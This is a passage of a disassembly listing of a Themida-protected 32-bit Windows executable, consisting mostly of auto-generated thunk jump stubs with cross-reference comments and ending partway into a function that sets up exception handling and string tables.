sub_401EEC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401EF1	proc near		; CODE XREF: sub_422640+Ap
		jmp	sub_4227E0
sub_401EF1	endp

; ---------------------------------------------------------------------------
		jmp	loc_41BD50
; ---------------------------------------------------------------------------
		jmp	loc_433BA0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F00	proc near		; CODE XREF: ___:00416B0Bp
					; ___:0043B2A4j ...
		jmp	sub_417C20
sub_401F00	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F05	proc near		; CODE XREF: sub_40A8F0+13p
		jmp	loc_40AA30
sub_401F05	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F0A	proc near		; CODE XREF: sub_41B160:loc_41B1ACp
					; sub_41BA50+54p ...
		jmp	sub_4199A0
sub_401F0A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401F0F	proc near		; CODE XREF: ___:00414395p
		jmp	sub_415570
sub_401F0F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401F14	proc near		; CODE XREF: sub_4157B0+34p
					; sub_4162C0+67p
		jmp	sub_416460
sub_401F14	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F19	proc near		; CODE XREF: sub_4153D0+3p
					; ___:00415B4Fp ...
		jmp	sub_415E00
sub_401F19	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401F1E	proc near
		jmp	sub_412CE0
sub_401F1E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401F23	proc near		; CODE XREF: sub_4131F0+4Dp
		jmp	sub_415450
sub_401F23	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F28	proc near		; CODE XREF: sub_407140+5Cp
					; sub_418F60+3p
		jmp	sub_407360
sub_401F28	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401F2D	proc near		; CODE XREF: ___:00419203p
		jmp	sub_419270
sub_401F2D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F32	proc near		; CODE XREF: ___:0040BFFAp
		jmp	sub_40C330
sub_401F32	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F37	proc near		; CODE XREF: ___:0042C44Fp
		jmp	sub_42C0A0
sub_401F37	endp

; ---------------------------------------------------------------------------


loc_401F3C:				; DATA XREF: ___:off_43F08Co
		jmp	loc_435B90
; ---------------------------------------------------------------------------


loc_401F41:				; DATA XREF: ___:00424194o
		jmp	loc_423D10

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F46	proc near		; CODE XREF: ___:00416B6Bp
					; ___:0043B250j ...
		jmp	sub_417B40
sub_401F46	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F4B	proc near		; CODE XREF: sub_413C40+99p
		jmp	sub_413E10
sub_401F4B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F50	proc near		; CODE XREF: sub_40B470+3Dp
					; ___:0040BC0Dp ...
		jmp	sub_40B7E0
sub_401F50	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F55	proc near		; CODE XREF: ___:loc_423DA7p
		jmp	sub_423820
sub_401F55	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F5A	proc near		; CODE XREF: sub_404CC0+A38p
		jmp	sub_4068E0
sub_401F5A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F5F	proc near		; DATA XREF: ___:off_43F1A0o
		jmp	sub_42C640
sub_401F5F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401F64	proc near		; CODE XREF: sub_413A80+72p
		jmp	sub_413740
sub_401F64	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F69	proc near		; CODE XREF: sub_418430+5Fp
					; sub_418A40+1Ap ...
		jmp	sub_418AB0
sub_401F69	endp

; ---------------------------------------------------------------------------
		jmp	loc_430290

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F73	proc near		; CODE XREF: sub_42F6F0+B5p
		jmp	sub_42E5B0
sub_401F73	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F78	proc near		; CODE XREF: sub_40B600+4Bp
					; sub_40B600:loc_40B68Bp ...
		jmp	sub_40BF20
sub_401F78	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401F7D	proc near
		jmp	sub_41E500
sub_401F7D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F82	proc near		; CODE XREF: sub_40A510+142p
		jmp	sub_40A8F0
sub_401F82	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F87	proc near		; CODE XREF: sub_404690+35Dp
					; sub_404690+39Ep
		jmp	sub_404B60
sub_401F87	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F8C	proc near		; CODE XREF: sub_415ED0+9p
					; sub_415F70+18p
		jmp	sub_4167D0
sub_401F8C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F91	proc near		; CODE XREF: sub_432E20+1Bp
		jmp	sub_432ED0
sub_401F91	endp

; ---------------------------------------------------------------------------
		jmp	loc_42C2C0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F9B	proc near		; CODE XREF: sub_427740+1Dp
					; sub_427C90+1Dp ...
		jmp	sub_4277B0
sub_401F9B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401FA0	proc near		; CODE XREF: sub_4290B0+1Dp
					; sub_429450+1Fp ...
		jmp	sub_429120
sub_401FA0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401FA5	proc near		; CODE XREF: ___:0042B063p
		jmp	sub_42B090
sub_401FA5	endp

; ---------------------------------------------------------------------------
		jmp	loc_406C20
; ---------------------------------------------------------------------------
		jmp	loc_40D540

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401FB4	proc near		; CODE XREF: sub_4096E0+112p
					; sub_4096E0+153p
		jmp	sub_409A20
sub_401FB4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401FB9	proc near		; CODE XREF: sub_422700+5p
		jmp	sub_422870
sub_401FB9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401FBE	proc near		; CODE XREF: sub_407390+5p
		jmp	sub_407540
sub_401FBE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401FC3	proc near		; CODE XREF: sub_413740+6Fp
					; sub_413740+DBp ...
		jmp	sub_4153D0
sub_401FC3	endp

; ---------------------------------------------------------------------------
		jmp	loc_42CB20

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401FCD	proc near		; CODE XREF: sub_4152E0+6Ap
					; sub_415CE0+32p
		jmp	sub_415C20
sub_401FCD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401FD2	proc near
		jmp	sub_40F100
sub_401FD2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401FD7	proc near		; CODE XREF: sub_412BF0+3p
		jmp	sub_412C20
sub_401FD7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401FDC	proc near		; CODE XREF: sub_404690+48p
					; sub_404690+5Dp ...
		jmp	sub_409E00
sub_401FDC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401FE1	proc near		; DATA XREF: ___:off_43F090o
		jmp	sub_419A50
sub_401FE1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401FE6	proc near		; CODE XREF: sub_41A1E0+3p
					; sub_41B140+9j ...
		jmp	sub_41A210
sub_401FE6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401FEB	proc near		; CODE XREF: sub_40BD90+34p
					; sub_40C200+67p
		jmp	sub_40C120
sub_401FEB	endp

; ---------------------------------------------------------------------------
		jmp	loc_433980
; ---------------------------------------------------------------------------


loc_401FF5:				; DATA XREF: ___:off_43F094o
		jmp	loc_436570

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401FFA	proc near
		jmp	sub_40F180
sub_401FFA	endp

; ---------------------------------------------------------------------------
		jmp	loc_4375F0
; ---------------------------------------------------------------------------


loc_402004:				; DATA XREF: ___:0043F03Co
		jmp	loc_41EEB0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402009	proc near		; CODE XREF: sub_41F960+5Ap
		jmp	sub_420040
sub_402009	endp

; ---------------------------------------------------------------------------
		jmp	loc_431670

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402013	proc near		; CODE XREF: ___:00416B2Bp
					; ___:0043B288j ...
		jmp	sub_417C00
sub_402013	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_402018	proc near		; CODE XREF: ___:00416E7Fp
		jmp	sub_4131F0
sub_402018	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40201D	proc near		; CODE XREF: sub_421B80+5p
		jmp	sub_422080
sub_40201D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402022	proc near		; CODE XREF: ___:00421754p
		jmp	sub_41C0A0
sub_402022	endp

; ---------------------------------------------------------------------------
off_402027	dd offset byte_4BF4E9	; DATA XREF: ___:off_43F008o
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40202C	proc near		; CODE XREF: sub_404690+2CEp
					; sub_404CC0+46Fp ...
		jmp	sub_40A750
sub_40202C	endp

; ---------------------------------------------------------------------------
		jmp	loc_434410
; ---------------------------------------------------------------------------
		jmp	sub_41B4D0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40203B	proc near		; CODE XREF: sub_422470+Ap
		jmp	sub_422750
sub_40203B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402040	proc near		; CODE XREF: sub_404CC0+7E7p
		jmp	sub_41BA50
sub_402040	endp

; ---------------------------------------------------------------------------


loc_402045:				; DATA XREF: ___:off_43F014o
		jmp	loc_40AEC0
; ---------------------------------------------------------------------------


loc_40204A:				; DATA XREF: ___:off_43F088o
		jmp	loc_42D150

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40204F	proc near		; CODE XREF: ___:0040AEC3p
					; ___:0040FFAEp ...
		jmp	sub_40AEF0
sub_40204F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402054	proc near		; CODE XREF: sub_424920+109p
					; sub_424920+178p ...
		jmp	sub_424800
sub_402054	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_402059	proc near		; CODE XREF: sub_4099C0+7p
		jmp	sub_409AB0
sub_402059	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40205E	proc near		; CODE XREF: sub_416760+Ap
		jmp	sub_416970
sub_40205E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_402063	proc near
		jmp	sub_40CBF0
sub_402063	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402068	proc near		; CODE XREF: ___:004301DBp
					; sub_4310C0+EAp
		jmp	sub_434320
sub_402068	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40206D	proc near		; CODE XREF: sub_421A60+5p
					; sub_421B50+6p ...
		jmp	sub_421FF0
sub_40206D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402072	proc near		; CODE XREF: sub_410030+8ADp
					; sub_410030+95Ep ...
		jmp	sub_411A60
sub_402072	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_402077	proc near		; CODE XREF: sub_40C120+7p
		jmp	sub_40C310
sub_402077	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40207C	proc near		; CODE XREF: sub_418A40+34p
					; sub_418F90+67p
		jmp	sub_418DA0
sub_40207C	endp

; ---------------------------------------------------------------------------
		jmp	loc_409BF0
; ---------------------------------------------------------------------------


loc_402086:				; DATA XREF: ___:off_43F13Co
		jmp	loc_4292B0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40208B	proc near		; CODE XREF: sub_417120+2Bp
					; sub_417120+3Bp ...
		jmp	sub_403F30
sub_40208B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402090	proc near		; CODE XREF: sub_4098B0+14p
		jmp	sub_409910
sub_402090	endp

; ---------------------------------------------------------------------------
		jmp	loc_4332C0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40209A	proc near		; CODE XREF: sub_428DC0:loc_428FCBp
		jmp	sub_428CE0
sub_40209A	endp

; ---------------------------------------------------------------------------
		jmp	sub_427940

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4020A4	proc near		; CODE XREF: sub_418430+4Dp
		jmp	sub_418B70
sub_4020A4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4020A9	proc near		; CODE XREF: sub_415230+5p
					; sub_4153F0+6p ...
		jmp	sub_415DE0
sub_4020A9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4020AE	proc near		; CODE XREF: sub_427940+3p
		jmp	sub_427970
sub_4020AE	endp

; ---------------------------------------------------------------------------
		jmp	loc_41B1F0
; ---------------------------------------------------------------------------
		jmp	loc_421720

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4020BD	proc near		; CODE XREF: ___:00416E4Fp
		jmp	sub_407080
sub_4020BD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4020C2	proc near		; CODE XREF: sub_413740+83p
					; sub_4145A0+91p ...
		jmp	sub_4153F0
sub_4020C2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4020C7	proc near		; DATA XREF: ___:0043F054o
		jmp	sub_41F030
sub_4020C7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4020CC	proc near		; CODE XREF: sub_40AAD0+144p
		jmp	sub_40ADE0
sub_4020CC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4020D1	proc near		; CODE XREF: sub_431240+BAp
					; sub_433C70+36p
		jmp	sub_433CE0
sub_4020D1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4020D6	proc near		; CODE XREF: sub_421EF0+23p
					; sub_422340+11p
		jmp	sub_4224E0
sub_4020D6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4020DB	proc near		; CODE XREF: sub_4221E0+4p
		jmp	sub_4225F0
sub_4020DB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4020E0	proc near		; CODE XREF: sub_42BB00+3BBp
		jmp	sub_42B730
sub_4020E0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4020E5	proc near		; CODE XREF: ___:0041A312p
		jmp	sub_41A3B0
sub_4020E5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4020EA	proc near		; CODE XREF: sub_416860+Ap
		jmp	sub_4169C0
sub_4020EA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4020EF	proc near		; DATA XREF: ___:off_43F18Co
		jmp	sub_42C5C0
sub_4020EF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4020F4	proc near		; CODE XREF: sub_415D70+4p
		jmp	sub_416590
sub_4020F4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4020F9	proc near		; CODE XREF: ___:004307A6p
					; ___:00430808p ...
		jmp	sub_434AD0
sub_4020F9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4020FE	proc near		; CODE XREF: sub_418E20+8p
		jmp	sub_4190C0
sub_4020FE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_402103	proc near		; CODE XREF: sub_418990+34p
					; sub_418E80+67p
		jmp	sub_418CA0
sub_402103	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402108	proc near		; CODE XREF: sub_41A7D0+117p
		jmp	sub_41A960
sub_402108	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40210D	proc near		; CODE XREF: sub_415BA0+35p
		jmp	sub_416670
sub_40210D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402112	proc near		; CODE XREF: sub_404CC0+459p
					; sub_406730+43p ...
		jmp	sub_409CA0
sub_402112	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402117	proc near		; CODE XREF: sub_40BE00+5p
					; sub_40BF40+6p ...
		jmp	sub_40C140
sub_402117	endp

; ---------------------------------------------------------------------------
		jmp	loc_4308A0

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_402121	proc near		; CODE XREF: ___:00416F7Ap
		jmp	sub_4191B0
sub_402121	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402126	proc near		; CODE XREF: ___:0042AD23p
		jmp	sub_42AD50
sub_402126	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40212B	proc near		; CODE XREF: sub_410030+F3Dp
					; sub_410030+1392p ...
		jmp	sub_4148A0
sub_40212B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402130	proc near		; CODE XREF: sub_413A80+38p
					; sub_413E70+5Fp
		jmp	sub_4135E0
sub_402130	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402135	proc near		; CODE XREF: sub_40A210+14p
					; sub_40A240+7p ...
		jmp	sub_40A260
sub_402135	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40213A	proc near		; CODE XREF: sub_42B440+157p
		jmp	sub_42AFF0
sub_40213A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40213F	proc near		; CODE XREF: sub_40ACC0+1Ap
					; sub_40AD10+1Ap
		jmp	sub_40AD80
sub_40213F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402144	proc near		; CODE XREF: sub_4156F0+3p
					; ___:00415F1Fp ...
		jmp	sub_416150
sub_402144	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402149	proc near		; DATA XREF: ___:0043F02Co
		jmp	sub_410030
sub_402149	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40214E	proc near		; CODE XREF: sub_4148A0+EDp
		jmp	sub_415920
sub_40214E	endp

; ---------------------------------------------------------------------------
		jmp	loc_41B490

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402158	proc near		; CODE XREF: sub_40BF00+3p
		jmp	sub_40C180
sub_402158	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40215D	proc near		; CODE XREF: sub_40BFA0+11p
					; ___:0040BFC7p ...
		jmp	sub_40C2C0
sub_40215D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402162	proc near		; CODE XREF: sub_41E760+2C5p
		jmp	sub_4208E0
sub_402162	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402167	proc near		; CODE XREF: sub_41D930+64Fp
		jmp	sub_41C170
sub_402167	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40216C	proc near		; CODE XREF: sub_418CC0+32p
		jmp	sub_418F90
sub_40216C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402171	proc near		; CODE XREF: sub_40ED00+ACp
					; ___:0040F42Dp
		jmp	sub_40EE40
sub_402171	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402176	proc near		; CODE XREF: sub_4138B0+93p
		jmp	sub_434D10
sub_402176	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40217B	proc near		; CODE XREF: sub_4152A0+1Fp
					; sub_415BA0+2Cp
		jmp	sub_415B00
sub_40217B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402180	proc near		; CODE XREF: ___:0042670Dp
		jmp	sub_4266D0
sub_402180	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_402185	proc near		; CODE XREF: sub_420630+17Dp
		jmp	sub_421AD0
sub_402185	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40218A	proc near		; CODE XREF: ___:0042D551p
		jmp	sub_42B380
sub_40218A	endp

; ---------------------------------------------------------------------------


loc_40218F:				; DATA XREF: ___:off_43F010o
		jmp	loc_409BF0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402194	proc near		; CODE XREF: sub_40AAD0+6Ap
					; sub_40AAD0+103p
		jmp	sub_40AD10
sub_402194	endp

; ---------------------------------------------------------------------------
		jmp	loc_426280
; ---------------------------------------------------------------------------
		jmp	loc_427910
; ---------------------------------------------------------------------------
		jmp	loc_41AD00

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4021A8	proc near		; CODE XREF: sub_407270+14p
					; sub_4072B0+9p ...
		jmp	sub_407510
sub_4021A8	endp

; ---------------------------------------------------------------------------
		jmp	loc_416DE0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4021B2	proc near		; CODE XREF: sub_40B0E0+1Bp
		jmp	sub_433DC0
sub_4021B2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4021B7	proc near		; CODE XREF: ___:00415B5Ap
		jmp	sub_4165E0
sub_4021B7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4021BC	proc near		; CODE XREF: sub_4309A0+ABp
					; sub_431980+1Bp ...
		jmp	sub_4319F0
sub_4021BC	endp

; ---------------------------------------------------------------------------
		jmp	loc_42FD80

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4021C6	proc near		; CODE XREF: ___:00408775p
					; ___:00408797p ...
		jmp	sub_4199C0
sub_4021C6	endp

; ---------------------------------------------------------------------------
		jmp	loc_42DA00

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4021D0	proc near		; CODE XREF: sub_40B600+55p
		jmp	sub_40A0B0
sub_4021D0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4021D5	proc near		; DATA XREF: ___:off_43F14Co
		jmp	sub_429510
sub_4021D5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4021DA	proc near		; CODE XREF: sub_421BF0+34p
					; sub_422510+67p
		jmp	sub_422230
sub_4021DA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4021DF	proc near		; CODE XREF: sub_407140+2Cp
					; sub_407140+68p ...
		jmp	sub_4072B0
sub_4021DF	endp

; ---------------------------------------------------------------------------
		jmp	loc_4346E0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4021E9	proc near		; CODE XREF: sub_41C710+1B3p
					; sub_41C710+332p ...
		jmp	sub_41D770
sub_4021E9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4021EE	proc near		; CODE XREF: sub_40BD50+11p
					; sub_40BFA0+1Fp
		jmp	sub_40C0D0
sub_4021EE	endp

; ---------------------------------------------------------------------------
		jmp	loc_4308E0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4021F8	proc near		; CODE XREF: sub_4246D0+1Ap
					; sub_4247B0+1Bp ...
		jmp	sub_424500
sub_4021F8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4021FD	proc near		; CODE XREF: ___:00416ABBp
		jmp	sub_418A40
sub_4021FD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_402202	proc near
		jmp	sub_42CE60
sub_402202	endp

; ---------------------------------------------------------------------------
		jmp	loc_42FF70
; ---------------------------------------------------------------------------
		jmp	loc_430100

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402211	proc near		; CODE XREF: sub_434450+1Bp
		jmp	sub_4344C0
sub_402211	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402216	proc near		; CODE XREF: sub_42F6F0+101p
		jmp	sub_42F040
sub_402216	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40221B	proc near		; DATA XREF: ___:off_43F00Co
		jmp	sub_407210
sub_40221B	endp

; ---------------------------------------------------------------------------
		jmp	loc_42F5C0
; ---------------------------------------------------------------------------
		jmp	locret_418940

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40222A	proc near		; CODE XREF: sub_403720+25p
					; sub_403720+35p ...
		jmp	sub_403CE0
sub_40222A	endp

; ---------------------------------------------------------------------------
		jmp	loc_4343F0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402234	proc near		; CODE XREF: sub_418430+88p
					; sub_418430+98p
		jmp	sub_418B90
sub_402234	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402239	proc near		; CODE XREF: ___:00416BBBp
					; ___:0043B20Aj ...
		jmp	sub_417870
sub_402239	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40223E	proc near		; CODE XREF: sub_418BE0+5p
		jmp	sub_418E50
sub_40223E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402243	proc near		; CODE XREF: sub_414710+3p
		jmp	sub_414740
sub_402243	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402248	proc near		; CODE XREF: ___:004305EBp
					; ___:00430F17p ...
		jmp	sub_431DC0
sub_402248	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40224D	proc near		; DATA XREF: ___:off_43F11Co
		jmp	sub_4288F0
sub_40224D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402252	proc near		; CODE XREF: sub_430B30+102p
					; sub_432A20+5Dp ...
		jmp	sub_431B00
sub_402252	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402257	proc near		; CODE XREF: sub_4135E0+5Cp
					; sub_4135E0+C0p ...
		jmp	sub_415540
sub_402257	endp

; ---------------------------------------------------------------------------
		jmp	loc_432700
; ---------------------------------------------------------------------------
		jmp	loc_430460

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402266	proc near		; CODE XREF: sub_41D930+203p
		jmp	sub_42E3C0
sub_402266	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40226B	proc near		; CODE XREF: sub_42F6F0+148p
					; sub_42F6F0+173p
		jmp	sub_42EF60
sub_40226B	endp

; ---------------------------------------------------------------------------
		jmp	loc_42F490

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402275	proc near		; CODE XREF: sub_4134A0+34p
					; sub_4148A0+40p
		jmp	sub_4159F0
sub_402275	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40227A	proc near		; CODE XREF: sub_40CC90+1A4p
					; sub_40D040+ADp
		jmp	sub_40D040
sub_40227A	endp

; ---------------------------------------------------------------------------
		jmp	loc_42F510

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402284	proc near		; CODE XREF: sub_422B40+938p
		jmp	loc_424080
sub_402284	endp

; ---------------------------------------------------------------------------
		jmp	loc_419B90
; ---------------------------------------------------------------------------


loc_40228E:				; CODE XREF: ___:00439FE6j
		jmp	loc_40CFC0
; ---------------------------------------------------------------------------
		db 26Bh	dup(0CCh)
byte_4024FE	db 1032h dup(0CCh)	; DATA XREF: Themida_:loc_5ABEC3o

; =============== S U B	R O U T	I N E =======================================



sub_403530	proc near		; CODE XREF: sub_4019C4j

var_46C		= dword	ptr -46Ch
var_468		= byte ptr -468h
var_450		= byte ptr -450h
var_438		= byte ptr -438h
var_420		= byte ptr -420h
var_408		= dword	ptr -408h
var_404		= byte ptr -404h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	0FFFFFFFFh
		push	offset SEH_403530
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 460h
		mov	eax, [esp+46Ch+arg_4]
		push	ebp
		push	esi
		push	edi
		mov	[esp+478h+var_408], eax
		mov	eax, [esp+478h+arg_8]
		xor	edi, edi
		mov	esi, 1
		cmp	eax, edi
		mov	[esp+478h+var_46C], edi
		jz	short loc_403589
		lea	edx, [esp+478h+arg_8]
		lea	ecx, [esp+478h+var_404]


loc_40357A:				; CODE XREF: sub_403530+57j
		add	edx, 4
		mov	[ecx], eax
		inc	esi
		add	ecx, 4
		mov	eax, [edx]
		cmp	eax, edi
		jnz	short loc_40357A


loc_403589:				; CODE XREF: sub_403530+3Dj
		lea	ecx, [esp+478h+var_468]
		mov	[esp+esi*4+478h+var_408], edi
		call	sub_40142E
		push	offset asc_4445EC ; "|"
		lea	ecx, [esp+47Ch+var_438]
		mov	[esp+47Ch+var_4], 1
		call	sub_401870
		push	offset aABCDEFGHIJKLMN ; "a|b|c|d|e|f|g|h|i|j|k|l|m|n|o|p|q|r|s|t"...
		lea	ecx, [esp+47Ch+var_468]
		mov	byte ptr [esp+47Ch+var_4], 2
		call	sub_401A9B
